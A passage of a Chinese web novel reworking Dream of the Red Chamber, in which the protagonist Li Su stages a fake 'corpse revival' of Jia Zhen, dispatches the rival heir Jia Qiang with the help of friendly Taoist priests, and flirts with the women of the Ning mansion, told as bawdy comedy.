他强忍着没让自己晕过去,喘息着平复自己心绪,过了一会儿,感觉差不多了,大喊一声。 “来人!” 嗯? “来人!来人!” 但哪里有人来,人早躲得远远的了,甚至有人把屋门都给关了起来。 这是诈尸,多么可怕的事儿! 这情况就导致贾珍根本唤不到人了,没办法的他,只好摸索着跌跌撞撞的起了身,忍着鸡儿痛夹着腿,摸着炕沿儿就走了下来。 黑暗中,什么也看不见,只能凭着感觉往外走,一连被椅子、墙、柱子撞了三次,伤变的更重了,尤其是他的脸又被狠狠的撞了一次后,他心开始往下沉。 感觉自己可能真的要破相了。 接连遭受三次重创之后,贾珍意识到这样盲目地行走只会让自己受伤更重。无奈之下,他灵机一动,贾珍毫不犹豫地趴到了地上,双手和双膝着地,像一只蜗牛一样缓缓地向外爬去…… 但是,很快他又遇到了状况,怎么这么湿? 两只抓着地的手,被弄了一手好湿,不知道怎么回事还有些黏糊,有些热乎。 只露着两个鼻孔和嘴巴的贾珍,今日嗅觉似乎特别灵敏,闻出来了。 是尿! 这是哪个球囊的杂种尿在了老子的屋里? 匆匆来东府看情形的贾政,心中不停的喊着,珍侄儿千万别死了,弄了自己儿子打了自己媳妇的他,死不足惜,但丧事一办,探春的事儿眼前也没法再提了。 还没有赶到贾珍的院子前面,就听到了贾珍诈尸的消息,东府已经乱成了一片。 甚至有丫鬟小厮开始卷包袱开始跑路了! 贾政催着轿夫:“快!快!过去看看。” 轿夫们强忍着尿意,哆嗦着抬着贾政很快到了院子门口,贾政下了轿子,就见到了在门口张望的李素。 他快步来到李素面前,抓紧了他的手道:“素哥儿,你珍大哥如何了?真的诈尸了?” 李素缓缓摇头。 “我刚到这里就见蓉哥儿哭丧进去了,随后再就听到说珍大哥诈尸了。” 贾政闻言抓的李素更紧了,满面焦色:“素哥儿不是学过道么?这诈尸僵尸的,你能不能治?” 李素心说自己见过个屁,哪有什么诈尸,心说十有八九是贾珍先是晕过去,被人造谣了。 第98章 孽畜,现形吧 也不知究竟是谁,动作竟是这般迅速、麻利! 极短的时间内,居然成功地搞到了黑狗血和童子尿。 只见赖二面色惨白,硬着头皮带领着五个同样战战兢兢的小厮,他们每个人的手上各拎着一个水桶,快速的跑了来。 “赖二!” “啊,政老爷。” 赖二慌忙行礼,一行人止住了脚步。 “你们听素哥儿指挥,务必让珍…珍侄儿,安息!” “是,老爷!” 听了贾政的吩咐,赖二好像找到了主心骨,吃下了定心丸。 “素大爷,您说吧,咱们怎么干?” 李素乐了,感受了一下刺骨的寒气,心说珍大哥,你这回想好都难了啊。 他朝着贾政行了一礼,面色郑重,沉声道:“政二叔,那就交给小侄了,赖二跟我进去。”说完就带头进了院子。 此时只见院子里横七竖八躺倒了几个丫鬟小厮,另外贾蓉面色苍白的靠在院儿门口被人扶着,眼泪鼻涕涂了一脸,裤裆滴滴答答的往下流着黄色液体。 正房的门紧闭着。 院子里此时鸦雀无声,只剩下正房里偶尔传来的呼喝与叮当声。 李素带着人进了院子,贾蓉看见李素赖二等人,再往后又看到了贾政的身影,他顿时绷不住了,奔着贾政就奔了过去。 三两步贾蓉就扑到了贾政身前,抱住了他的大腿,这一瞬间好像又崩溃了,眼泪鼻涕哗啦啦就继续掉。 “政老爷啊,父亲他…他诈尸了啊……呜。” 贾政一边掩着口鼻,躲避尿骚味儿,一边强言安慰道:“蓉哥儿,莫怕,有素哥儿在,他学过道,定会让你父亲安息,眼下府里就剩下你一个主心骨了,你可不能有事。” “对,素大叔。”贾蓉目光一亮看向了李素。 “蓉哥儿跟政二叔好好看着,你们几个跟我来。” 李素止住了这骚人扑过来的想法,立刻向正房走去。 到了门前十步以后,李素一摆手:“停!一会儿听我口令,我说泼,你们就给我使劲儿往僵尸身上泼,明白了吗?” “明白了!” “素大爷,是诈尸,不是僵尸。” 赖二嘴欠,还解释了一句。 李素破口大骂:“放你娘的屁,诈尸是死不瞑目,你是想说谁害了珍大哥么?是你还是蓉哥儿?” “对,赖二,你想说谁?” 贾蓉在后面听到这话面色一变,也顾不得往政老爷的下摆上抹鼻涕了,声音尖利的像只小公鸡,质问起赖二。 “蓉大爷,天可怜见,小的可没这想法!” 赖二指天画地的发誓自己没有。 “滚一边儿去,别在这吵吵,你们五个给我重新站好位置,按照我说的来。” 李素抬脚踹开了赖二。 就开始安排五个提桶小厮的位置,他把五个人安排成了一个扇形,中心正是房门口。 站好位置后,李素就隐约听到了屋里贾珍骂骂咧咧的声音。 贾珍也是倒霉,这个院子是整个宁国府地龙烧的最好的,冬天他就住在这里,可就有一样不好,就是大,而且内部柱子还多。 他蒙着眼睛在屋里摸索了半天,都没有摸到正门,他的嘴巴四周被裹得严实,声音也出不来。 这就导致了他半天都出不来,甚至外面的人听到声音,都以为是尸体的呜咽声。 几个提桶小厮,听着声音越来越响,顿时紧张了起来。 “你们听我命令,准备。” 小厮整齐划一,左手扣住桶边,右手抠住了桶底,倾斜着等待下一步命令。 就在这个时候,原本紧闭着的房门突然发出一阵轻微的响动,紧接着一条狭窄的缝隙出现在众人眼前。 先是咒骂的声音传了出来。 “球囊的…下……流种子。” “老爷我……何时诈尸了……” 这声音让众人明没有意识到贾珍无事,而是更加紧张和害怕了,这是死不瞑目啊! “你们给我站好了,谁跑我杀谁全家,不跑的赏银百两!” 李素强行喝止了想要提桶跑路的小厮们。 继续盯着房门。 缝隙缓缓扩大,最终房门彻底敞开,展现在人们面前的景象令人毛骨悚然。 只见一个身影正艰难地在地上爬行着,试图往外挪动身体。这个人的头部被一块鲜艳如血的红布紧紧包裹着,没有丝毫缝隙。 而他身上只穿着一件白色单薄的长袍,上面还有一滩尿黄,随着他的动作不停地摆动 着。 站在后方的贾政瞪大眼睛,死死盯着那个正在爬行的身影,知道这就是贾珍,心中不由得涌起一股寒意。 这就是诈尸? 这一副可怕模样实在是超乎他想象,让贾政的心脏都几乎停止跳动。他完全想不起来,贾珍脸上包着的布,都是因为他夫人的利爪! 贾政惊恐地望着贾珍,身体不由自主地颤抖起来。 接着,不知道是因为过度惊吓,还是内心深处对贾珍遭遇的心疼,贾政只觉得眼前一黑,双腿发软,再也支撑不住自己的身体,两眼一翻便直直向后倒了下去。 “政老爷,老爷啊……”贾蓉的公鸡嗓子再次嚎了起来。 李素见贾珍已经出了门,都暴露在了寒风中,大喝一声:“泼!” 而早已经按捺不住心中激动与紧张情绪的那五个提桶小厮,听到这声号令后,毫不犹豫地同时出手,使出浑身力气,狠狠地将各自桶中所装之物朝着贾珍所在之处猛泼而去。 刹那间,空气中弥漫起一股浓烈刺鼻的味道。 只见那黄澄澄、黑乎乎的液体在空中划过一道道弧线,如雨点般密集地向着贾珍倾泻而下。 可怜贾珍,刚出房门,还没起身就被童子尿和黑狗血淋了个通透,腥臭的狗血,骚气的童子尿甚至塞了他的鼻孔和口腔。 “呜呜……” 随后提桶小厮把桶一扔,转身就跑,可怜贾珍又被尿筲血桶砸了个正着,只听惨叫一声,趴在地上,连声音也发不出来了。 李素摆了一个举火燎天式,对着贾珍大吼一声。 “呔!勿那畜生,我奉先宁国公之命拿你,还不速速现出原形!” 贾珍不停抽搐的身子,闻言忽然一顿,随后一阵寒风吹过,他就不动了。 后方的贾蓉见状,也顾不得晕倒的贾政,吩咐一声,让赖二把贾政送回荣国府。 随后他的身子一下站直了,好像此刻残菊也不痛了,心中涌起了一股茫然四顾的豪气,心中暗道这偌大的国公府终于姓蓉了,自己再也不用挨揍了。 但是贾蓉还不敢到前面来看,在远远的后面喊道:“素大叔,可无事了?” 李素瞥了他一眼,没说话,于是走到了贾珍面前探了探鼻息,还活着。 “快,叫太医,珍大哥身上妖气尽去,起死回生了。” 李素这一嗓子,差点把贾蓉喊傻了。 他脑子里不断的盘旋着一句话:怎么没死? 怎么没死? …… 第99章 可卿,莫闹 看着贾珍那一身都快结冰碴儿的血啊尿的。 李素感觉不能再等了,于是冲着赖二喊道。 “快快,把珍大哥抬回去……赖二,说你呢,快让人把珍大哥抬回去。” 赖二也缓过神儿来,驱赶一众小厮仆役,但这些人看着贾珍那血葫芦头还是有些恐惧,一时间面面相觑,更是谁都不想沾那黑狗血童子尿。 贾蓉呜嗷一嗓子,冲了上来:“老爷,老爷啊,你醒醒啊。” 他豁出去了! 为了他自己的小命儿,丝毫不顾贾珍那一身的尿血,疯狂尽孝,抱着贾珍就往屋里拖,其他小厮见状也纷纷帮着一块儿使劲儿。 很快就把贾珍又抬回了屋里,弄到了炕上,贾蓉用力扯了三五张被子就往贾珍身上盖去,李素赶紧给拦住了。 “蓉哥儿,不行这样弄,这一冷一热的,好人会丢半条命了,何况珍大哥?” “那盖多少?” 李素估摸了一下:“一张。” 贾蓉有些失望,但众目睽睽他也只好按照李素说的做,弄完后他一屁股跌坐在了地上,剧烈的喘着粗气。 他也快撑不住了,身体本来也没恢复,又经历了大起大落心境,兴奋、失落、恐惧轮回上演。 再就是身体的冷热交替,又尿了一裤子,湿淋淋的在外面半天,根儿都快成冰棍儿了。 李素见他这模样,赶紧催道:“快,把你们小蓉大爷扶起来,也放炕上。” 于是贾蓉和贾珍爷俩儿,就被并排放在了炕上,贾蓉睡了过去,就是不知道醒来后同床共枕的爷儿俩是啥反应。 “赖二,赶紧催太医,要不然你们府里就等着办席吧。” 说完李素就出了屋子,到院子外面看了看天色,已经到午时了,出去找饭吃! 往天香楼的方向,约莫走了不到百步。 那个丫鬟又紧着赶了过来。 “葫芦姐姐。” “葫芦兄弟。” 暗号对完,李素开口道:“你叫什么?” “奴婢银蝶。” 丫鬟行礼,凹凸有致。 李素咂摸了一下:“淫蝶,好名字,人在哪里?。” “天香楼。” “带路。” 尤氏竟然就在自己昨夜献身的锦花厅的屋子里,银蝶转身关了屋门出去,葫芦姐姐再也忍不住了,满脸焦急抓住李素的手道:“如何了?我听,我听外面又是人死了,又是诈尸的?” “你躲着不露面是什么个章程?你可是宁国府里的大奶奶!” 尤氏打了哆嗦,紧张道:“我就是怕,老爷这人不知怎么变得凶狠起来,昨夜竟然要杀了我。” 李素笑笑,这个锯嘴葫芦就是因为胆子小才得了这么个名号。 抚着她光滑的脸颊,轻声道:“昨夜他是精虫上脑,但现在无事了,你现在正该出门主持大局,你爷们儿跟你继子都上了炕头。” 尤氏低头用脸颊蹭了蹭他掌心,抬头看他。 “你咋,我就不怕!” “这么信我?咱俩可就弄那一次。” 尤氏脸热,重重点了点头:“嗯,从没那么好过,死了也愿。”说着眼神就迷离了起来,看着李素眼睛,这老娘们儿竟然娇媚了起来。 三十余岁的风华少妇,李素懂,但不是时候,自己也不姓西门。 用力在她脸上掐了一把。 “快去忙正事儿,现在别瞎想,早晚有你的好。” 尤氏吃痛,白了李素一眼:“那素大爷做什么去?” “我上楼找饭吃。” 说完李素抚平了下摆,拉开屋门就走了出去,出门后对银蝶道:“一会儿送午饭上楼来,你自己送。” “好的,素大爷。” “懂事儿。” 李素乐呵呵的就往天香楼上走,去看看秦可卿那个惊弓之鸟。 而贾政被人抬回了荣国府。 政老爷晕了过去! 荣国府上下乱作一团,丫鬟们四处奔走相告,此时的荣国府正院老爷倒下,仿佛瞬间失去了主心骨一般,原本的井然有序被打乱。 从昨天开始,先是宝玉趴下、紧接着又是王夫人被踹胸倒下,如今连贾政也晕倒在地,不少人揣测这一家三口是不是招了什么邪。 贾政直接就抬到了荣禧堂后面老太太的屋子里,值得庆幸的是,还没等太医到来,贾政很快就醒了过来。 满面焦色的贾母上前上前握住了儿子的手:“你这是遭了什么?我听小厮说珍儿死了,还诈尸了,果真有此事?” 贾珍脑子里 想着贾珍那血葫芦一样的情形,不由得打了个冷颤,抓住了母亲的手道:“母亲,儿子亲眼所见,珍侄儿诈尸了!” 贾母也呆住了,她本以为是下人乱传的,竟然是真的? 呆愣了一会儿,接着继续问道。 “正好素哥儿在,他学过道,儿子就吩咐他来办了,尽量让珍侄儿走的安心。” “怎么个办法?” 贾政回忆了一下:“赖二差人弄了童子尿、黑狗血,想来现在事情应该已经过去了,为珍侄儿准备后事吧,母亲,我这身子不利索,东府一应丧葬事儿就有劳母亲安排了。” 贾母看着面色憔悴的贾政,不由得心疼了一下,随后又对东府的事儿感叹起来。 “唉,这也是个无福的,年纪轻轻就去了,去之前还诈……” “敬大哥那里还得派人知会,蓉哥儿是成不了事儿的,刚才的那场景,唉。” 贾母点头:“我让凤哥儿去东府,找珍哥媳妇,蓉哥媳妇一同商议吧,还有,珍哥儿去后,他的爵位承袭是大事儿。” “可惜琏儿,身子不大好,不然这些事儿合该他办才是妥帖。” 屋里这一对老弱,替宁国府操碎了心。 不多时,报丧的人朝着四面八方奔去,贾珍死了,诈尸了这样的消息也被人给传了出去。 接着更有人传出了:扬州来的花园子爵李素,能治疗诈尸、僵尸、挺尸等一系列疑难杂症,神通广大斩妖除魔。 李素又火了,不是那么正经的火。 “可卿,别闹,要起火了!” “哎呀,老爷啊~奴家要谢谢你嘛,要不然现在还不知道是个什么情势哩。” 秦可卿扭了扭小腰,从李素的怀里坐了起来,看着他脸上的唇印,抿嘴儿笑起来,无师自通的小手不自觉的捻了捻。 贾珍和贾蓉一同上了炕,让她狠狠地松了一口气,开始有了心思撩拨李素了,像个刚恋爱的小女孩儿。 李素无奈苦笑,但紧接着就见秦可卿,把手伸进了自己的前襟。 他瞬间瞪大了眼睛。 第100章 李素的破坏力猜想 李素心旌神摇,忙左右看了看,迅速摁住了秦可卿的手。 “虽然对我来说多少回都轻轻松松,但你今日初啼,不宜过度。”随后他对宝珠说道:“去把门窗关好了。” 宝珠听吩咐,去查看屋门。 秦可卿瞬间霞飞双颊,蚊声道:“老爷啊~你想甚哩?奴家不是那意思。” “那你几个意思?” 李素朝不禁又说道:“小袄有点儿厚实了。” 秦可卿声音有些娇腻:“老爷把手拿开嘛。” 李素疑惑,把手挪了开去。 水起双眸的秦可卿,扭了一下腰身:“老爷~是,是把手拿走,不是现在这样儿,别别放那儿啊。” 李素表情讪讪,不由得收回了手,摸了摸鼻子。 “好了,你掏吧,真不用老爷帮你掏?” “奴家,自己行的。” 只见她的手在自己前襟内深深探了探,掏出了她自己的那枚玉佩,随后递给了李素:“老爷~这个给你。” 这是正事儿,李素抚平了心中涟漪,从她素手中接过了玉佩,又仔细看了看,随后戴在了自己的脖子上。 本来以他自己的身世,是很无所谓的,他自己就是个冒牌货。 但现在不同了,牵扯到了秦可卿,秦可卿背后又有可能牵扯到了宫里,或者牵扯了一系列的人和事儿,如此情形却要搞清楚才好。 妙善师兄也是个谜团,搞不好就是娘家人,不然为啥看自己的眼神像看儿子,看来这几天要去一趟白云观了。 “老爷在想什么?” “你猜。” 秦可卿大眼睛茫然的看了看李素,又看了看宝珠,宝珠也茫然,这哪里能猜到。 忽然她灵光一闪,想到了刚才的事儿,于是她纤手探出,抓住了李素的大手拉向了自己,羞红着脸不敢看李素:“老爷~可--可是在想这话儿?” 李素使力轻柔,忍不住低头吻了她的额头一下。 “你果然懂我。” 秦可卿不说话,逐渐身子站立不住了,靠向了李素的怀里。 软玉温香。 没过多久,紧闭着的房门突然被从外面敲响,瞬间打破了屋内原本静谧的氛围, 秦可卿瞬间如同一只受精的小兔子般,猛地从李素身旁弹开。娇柔的身躯微微颤抖着,一张俏脸因为紧张和羞涩而涨得通红,宛如熟透的苹果一般娇艳欲滴。 一水儿的可卿。 李素示意宝珠开了门,只见是银蝶拎着食盒进来了:“见过素大爷,蓉大奶奶,这是太太吩咐厨房专门做的。” “嗯,好,现在外面情形如何了?” 银蝶和宝珠一边往外端着饭碟碗筷,一边回话:“请来了太医,正在诊治,想必很快就有结果了。” “嗯,好。” 等把饭菜放好了之后,银蝶正要告辞,忽然想起了一事:“素大爷,有件事儿太太让我给您说一声儿,就是刚才府里的蔷哥儿去照应老爷了。” 李素听了微微皱眉。 “蔷哥儿?贾蔷?” “是他。” “他做什么去了?” “奴婢也不知。” 李素明白了,这家伙看着没什么危险和麻烦,又见贾珍和贾蓉都倒了下去,起了心思吧。 李素回忆原著,贾蔷是宁国府的正派玄孙,父母早亡,风流俊俏。贾蔷从小跟贾珍过活,虽然每日应名去上学,亦只不过虚掩眼目而已,仍旧是斗鸡走狗,赏花阅柳,上有贾珍溺爱,下有贾蓉匡助,后成了贾府小戏班梨香院的总管,与小旦龄官相好。 人是个没什么出息的。 正派玄孙的意思就是长房初代宁国公贾演的嫡孙,与贾蓉一样,如果贾珍和贾蓉都没了,他就是宁国府的第一顺位继承人。 “行了,你去吧,宝珠去送送。” 这小碟是个自己人,贾蔷是要死的,自己回头去做个法,让他变个僵尸不为过吧。 银蝶告辞后,秦可卿和宝珠伺候李素用餐,又享受了一次大老爷的待遇,他心满意足。坐在贾珍的位子上,伺候自己的是贾珍的儿媳妇。 吃完后,李素让二人休息,恢复气血,他自己则出了门,站在外面的廊道上向四面张望,这天香楼的顶层,是宁荣二府的最高处。 大部分两府近处的环境看的一清二楚,此时阳光正好,视野通透,李素走到了西侧廊角向荣国府的方向望去。 刚好穿过院墙,看到了荣国府中的一个小院儿,院子里正好有人。 看起来虽然影影绰绰,但有些眼熟。 李素定睛观瞧,李纨! 那是李纨的院子,他忽然想起来还要把这大嫂子给偷出来的事儿,就冲着李纨摆手,李纨也似乎感觉到了好像有人看自己,身形一顿往这方瞧来。 与天香楼上的李素隔空就对视了起来,李素一喜,正要喊话,只见李纨却匆匆的跑进了屋子,仿佛见到什么可怕的事儿。 让李素在楼上一头雾水,想不明白这嫂子怎么回事儿。 他已经忘了写色情小说的事儿了。 珠大嫂子可没忘,昨夜又夹腿了,哪好意思跟他说话。 李素自嘲的笑了笑,下了天香楼,去看珍大哥和大侄子。 神京城里跟贾府有关联的老亲故旧,此时却已经开始动了,他们收到了贾珍去世的信儿,甚至还很详细的得知了贾珍诈尸事件。 贾珍的死对他们来说是损失。 贾珍握着很大一部分军中关系,他死后香火又薄一层,以后办事儿丝滑度如果经贾蓉操作,效果会差很多。 死的如此不体面,还诈尸,让大家更是感到有些难以接受,这是天谴还是什么? 心里打着五味瓶,他们开始准备前来吊唁了! 而宫里的夏守忠,也正在往西暖阁的路上,心里不断的嘀咕着,这贾珍死了还弄个诈尸,怕不就是花园子爵的手笔吧。 昨夜到今日里贾府热闹的新闻,一桩桩都已经被密谍送到了他的手上,心里对李素的警惕心越来越重,照这个情形,怕用不了多久贾家可能就黄了。 这太可怕了。 他心中想到,如果按照这样的破坏力,以后如果想害哪家,就把花园子爵派过去,保准儿那家很快就如流沙散碎掉了。 到西暖阁,夏守忠给雍和帝汇报完,雍和帝也目瞪口呆。 自己头疼了许久的贾家,宁国已经眼看药丸? 李素才去了两天不到,在宁国府睡了一夜而已,第二天家主就诈尸了! 第101章 贾蓉又尿炕了(求月票) “老奴算了一下,贾府里男丁,好似都被卷了进去。” 雍和帝不知该哭,还是该笑,沉默了一会儿摇了摇头也不知道该说什么好了。 灾星? 那不对,他是自己的福星! 福星? 也不对,贾家国公两府,能站着的男人不多了。 那就是我之蜜糖彼之砒霜,按照现在的情形,贾府已经不需要自己费力了,早晚李素会给自己一个好的答案。 雍和帝由此,思维开始发散了起来,李素是自己福星,敌对势力的灾星。 那接下来最重要的就军权,要把他扔到军中去…… 瓦解旧军勋贵势力,建立新军,完全属于自己的掌控的军队。 还有,吏治也是大问题,治国先治吏。 还有清流朋党、还有建奴边防、还有土地兼并巨族等心腹之患、还有除了小四其他几个儿子也不安分…… 还有,太上…… 这个挺好,父慈子孝,不用他! 想到这里,雍和帝不禁为自己的想法感到荒诞,哪能有包打天下的人物?再说他要是这能把做这些事儿,自己都不知道该怎么赏他了。 得笼络,笼紧了,这孩子,没爹没娘,还是需要有人疼。 观他对林如海的态度就可知,是个知恩图报的,林如海才收了他几天,就可以为自己师父拼命了。 据说林如海的那个贾夫人,把他当女婿、当亲儿子一样疼了。 对了,女儿云暖好像到了说亲的年龄了,但自己不能跟林如海争女婿,他为自己付出已经很多了,再看吧。 笼络他的事儿,还得皇后出马才行。 想到这里,他抬头看了一眼夏守忠:“去,告诉皇后,今晚朕去凤藻宫用膳。” “陛下,奴才这就去。” 夏守忠乐呵着走了,西暖阁又只剩下了奏折被翻阅的声音。 贾珍的院子,太医走了。 尤氏不放心,又请了两个有名的大夫,就在府里待着随时就诊,李素跟她交待了,不能让贾珍这样死掉。 她虽然不知道为什么李素为什么这样安排,但还是按照他说的做了,上了小贼的坚船利炮,她只能把葫芦当下去了。 尤氏有点儿搞不清楚自己的心态,甚至都没想过甩开李素。 但李素明白,这就是背叛者,抛开坚船利炮不谈,在她背叛的那一刻,原来的同伙儿,就已经成了敌人。 阵营在不知不觉中就转换了。 他也更明白,为什么自己进了贾府后,贾府就好似变成了沙子堆成的碉堡,脆弱不堪。 结构越复杂,越精密的组织,当内部出现问题后,就会变得极其不稳定,只需要进入内部轻轻一戳,败坏的速度会超乎想象。 这也是原本世界,科技文明越发达,社会结构越精细就越危险的原理。这已经被事实给证明了,比如鹰酱倒闭一个公司,全世界就爆发经济危机,战争随之就爆发。 所以结构更简单的农业社会,农村兴百业才是最稳定的一种社会形态。 扯远了,李花园进了贾珍的院子,只瞧见约莫七八位身着道袍、头戴道冠的道士。 呦,同行! 他们或手持桃木剑,或怀抱铜铃,又或是手捧罗盘等各种做法事所需的物件儿,正有条不紊地忙碌着。 有的道士将朱砂倒入砚台之中,然后用毛笔蘸取后,在黄纸上龙飞凤舞地画起了符咒。 有的则蹲下身来,摆放着香案上的香炉、烛台和供品,还有几个道士聚在一起低声商讨着什么,时不时还会抬起头来环顾四周环境。 整个院子里弥漫着一股神秘而庄重的氛围。 李素走过去,拍了拍一个长胡子的中年道士的肩膀:“哪个观的?” 那道士原本正专注于手中的罗盘,听到声音后猛地一愣,像是被从沉思中惊醒一般。 他缓缓转过身来,眼神中先是闪过一丝疑惑,随后又迅速恢复平静,开口回答道:“啊,呃......白云观也。” 说罢,还微微躬身向李素行了个礼。 哈,自己人! 李素揽着他的肩膀,拉着他走到一边,低声道:“认识我吗?我叫李素,道号妙言。” 道人闻言大惊:“啊,您是……” “嘘!知道就行了,别声张,你们来做法事是谁请的?” 道人行了礼:“回禀护法,弟子通幽,是神京城内下院的院首,是这宁国府的贾蔷去院里找的。” 李素笑了,他自己都开始感叹贾蔷的运气了。 “嘿 ,通幽,你这样办。”李素凑到他耳边,嘀嘀咕咕说了几句。 通幽犹豫了一下,不过还是点了点头,应道:“行。” 李素见状,乐颠颠地站起身,拍了拍通幽的肩膀,然后大摇大摆地朝屋里走去。 到了门外,就听到屋子里尤氏在发火。 他推门进去,就见尤氏站在厅中,冲着下方一个花样小生道:“蔷哥儿,你怎么想的?这大冷的天,再把老爷和你蓉哥儿弄到院子里做法,还不得丢半条命下去?” 尤氏说完就看到李素进来了,正要对他说话,李素摆了摆手,尤氏便住了嘴。 只听贾蔷道:“太太,我可是请来了白云观的神仙,他们如此说的,府里起了妖孽,测定了驱邪的方位,就在院子里。” 随后他高声道:“而且他们还说,如果这邪气不除,咱们府里有一个算一个都要倒霉!老爷诈尸你们可都是瞧见了,神京城里这么些年,你们听过哪家诈尸了?” 屋中的小厮丫鬟听到这话,不由色变。 里间的贾珍已经醒了,但是却开不了口,心中不由得大骂贾蔷,有没有诈尸他自己最清楚。 这怕不是想把自己跟蓉哥儿折腾死,他好继承家业吧? 这小球囊的枉费老子对他那么好,可惜他的好颜色,自己还没尝,就起了歪心了。 跟他对脚躺着的贾蓉听着外面传来的话,心中大慌,他现在可还跟自己诈尸过的老爹躺在一起呢。 于是再也憋不住恐惧,在里面嘶哑着嗓门儿喊道:“去……唔!”一句话没说出来,就被贾珍一脚踹到了嘴巴上。 但接着贾珍又闻到了一股尿骚味儿,随后就觉得自己腰部多了一些温热。 贾蓉又尿了,他的括约肌已经被冻坏了。 这味道悠悠的,很快传到了外间。 贾蔷眼睛一亮,大喊道:“你们闻,邪气越来越重了!”接着他大步转身拉开了屋门就对外喊道:“老神仙,快准备驱邪!” 第102章 贾蔷下线 就在贾蔷的话音刚刚落下之际。 突然间,从门外传来了一声震耳欲聋的大喝。 “呔!妖孽还不速速现形!” 这声怒喝响彻整个房间,令人不禁心头一颤。 贾蔷随后就看到一个黑影,兜头向着自己笼罩而下。 他此时正处于愣神之间,完全没有预料到会有这样的变故发生。等到他回过神来想要躲闪时。 只感觉到一股巨大的力量狠狠地砸在了自己的后脑之上,顿时一阵剧痛袭来,让他忍不住发出一声闷哼。 随后眼前一黑,软绵绵地倒在了地上,与此同时,一件件宽大的道袍罩在了他的身上。 一个身着灰色道袍的中年道士出现在了门口。 李素收回手,吹了口气,最近这闷棍手越来越熟练了。 然后他笑着对通幽道:“道长可有话对主家说?” 众人此时还未回过神来,完全搞不清楚状况,怎么贾蔷被他自己请来的人还拿住了?这素大爷还帮了一手。 通幽冲着屋中惊魂未定的尤氏,行了一个道礼:“经过贫道请三十三天外无极十方感应救苦伏妖显圣天君,贾蔷此人正是贵府邪祟之源,为免其逃脱,故以雷霆拿下,请主家见谅。” 尤氏听得迷迷糊糊,总之感觉很是厉害,她定了定神儿。 “不怪,不怪,那蔷哥儿怎么办?” “正要拿回观中,将他邪祟驱除,需要些时日,许是三五个月,许是三两年。” 尤氏心中暗喜,面上还是犹豫了一下道:“可,如此麻烦道长了。” 通幽不再说话,一挥手,身后窜过来四五个道士,掀开道袍,随后就把那朱砂墨线什么的一股脑的就往贾蔷身上倒。 再然后,用绳子反复捆了几圈儿,加起来就要出门。 “慢着,赖二,去账房取一千两,给道长。” 尤氏对着赖二吩咐了一声。 通幽偷偷瞧了一眼李素,然后对尤氏又行了一礼:“多谢主家,这银子就当这贾蔷的耗费,贫道等是不收的,待他回转,贫道会将剩余银两奉还。” 说完,通幽就带人抬着贾蔷往外走去,赖二忙出门相送。 “高人哪!” 尤氏叹了一声,屋中众人纷纷点头。 “太太说的对。” 尤氏不理众人,忙对李素道:“素哥儿,你请坐。” 李素摇头:“我就不坐了,去里面看看珍大哥。” 残疾爷俩儿的杀局,已经种下,秦可卿的危局基本已经解了。 如今又解决了贾蔷,宁国府的家产只能是自己儿子的,这几天除了多努力努力,已经没什么事儿需要自己费神了。 所以他打算再看看他们,就回去陪小姐姐玩游戏。 “大嫂子,大嫂子!” 这时,一声声娇喊从外面传来,是王熙凤! 尤氏急忙出门,就见她带着带着一群丫鬟婆子进了院子,她们手里还拿着白布,有的还拿着白幡,各种篓子、盒子。 “琏哥儿媳妇,你们这是?快进来。” 王熙凤面色幽怨带着人进了屋子,不待落座就抱怨了起来:“到底是怎么回事儿,我接到老太太的吩咐,紧着张罗准备了物什,午饭都没来得及吃,谁知道进了府后,说珍大哥还好着?” “老太太吩咐?吩咐的什么?你珍大哥正在养着身子,琏哥儿媳妇,你快坐下。” 尤氏也是一脸懵逼。 “素兄弟也在呢。”王熙凤先给一旁的债主打了个招呼,随后一屁股坐在了椅子上,冲着尤氏道:“老太太说珍大哥去了,要来帮忙张罗,你是不知道我忙成了什么样,那是边哭边忙活,带着孝就到了你们东府门口,一问才知道,珍大哥还好。” “我们这赶紧把孝摘了,就快些过来找你问个究竟,珍大哥到底出了什么事儿?” 尤氏也有些搞不清楚,她不由得看向了李素,这算是看对人了,没有人比李素更清楚怎么回事儿了。 李素也不去里间看那爷俩儿了,于是一屁股坐了下来,看着一股子女强人风范的嫂子道:“嫂子,珍大哥起死回生了,就这么简单。” 王熙凤眨了眨眼睛:“我还听说诈尸了,是怎么回子事儿?”她刚问完,不待李素和尤氏回话,猛的一拍额头,大叫一声:“坏了!” “怎么了?” “西府替珍大哥报丧了!” “报丧?” 王熙凤满脸焦急道:“对,快快快,快走去叫人重新报信儿。” “都报给谁了?” 王熙凤瞬间卡了 壳儿,这些外面的事儿她不懂,都是大老爷出的名字,她又不识字,只得说道:“都是一些故旧老亲勋贵吧,你知道都有哪些吧?” 尤氏比她更不如,王熙凤起码能念出几个名儿,她一个小户出身的,等于问道于盲了。 二人接着不约而同看向李素。 李素一摊手:“我又不是你们府里人,哪里知道你们有几个亲戚?” 贾府的亲戚们,已经有好几家到了宁国府的大门口,他们面带悲戚的下了车,下了马,却见大门紧闭,也没有挂白。 正疑惑间,只见小门儿开了,一群七八个道士面色严肃陆续走了出来,随后就看见了中间被道袍裹着的人形。 众人不由得倒吸一口冷气。 这,贾珍难道诈尸后,带着妖气? 这是到底惹了什么神仙妖怪? 还被道士给捉了? 这情形,还要不要去府里吊唁?还是对着贾珍的尸体吊唁?这谁敢靠近? 众人看了看北静王水溶,他的爵位最高,等他拿主意。 水溶面色沉痛,对着逐渐远去的道士,躬身行了一礼,随后高声道。 “贾将军走好!” 其余人也有样学样儿,一起躬身行礼,齐声高喊:“贾将军走好!” 这是贾蔷的荣耀,可惜他根本不知道,否则能让他吹一辈子了。 “水王爷,接下来咱们是个什么章程?” 水溶看了看问话的牛继宗,又看了看柳芳,他沉声道:“宁国府咱们就不去了,贾珍的尸体已经被带走,等发丧的时候再吊唁不迟。” 众人点头,觉得有理。 水溶继续说道:“但是,我认为我们应该在神京的长街上,把路祭搭起来,现在就搭,规模要大,要快!” “这是何道理?” “一是为了贾将军,他是带着污名走的,这影响很坏,会让一些人摇摆。所以我们更是为了守住我们的东西,告诉有心人,走了一个,还有无数个!” “告诉有心人,不管贾将军如何走的,我们都在,什么都没少!” “懂了!这就干,从速,从重,驾!” 急性子的牛继宗翻身上马就疾驰而去,随后众人纷纷往回跑,比来的时候更快! 导致想上前搭话迎人的赖二,都没张开嘴,人就走光了。 第103章 二嫂子要应我一件事儿 打定了主意的北静王等人,同时撒出了各自的小厮。 传递的信号就是:发丧再吊唁,路祭贾将军! 神京的白事铺子,迅速迎来了有史以来最大的抢购潮,涨价!涨价!以致于有些铺子甚至给贾珍上了一炷香,还有铺子挂了牌子:贾将军千古! 贾珍院子里两个嫂子,见李素也没法子,也傻了眼。 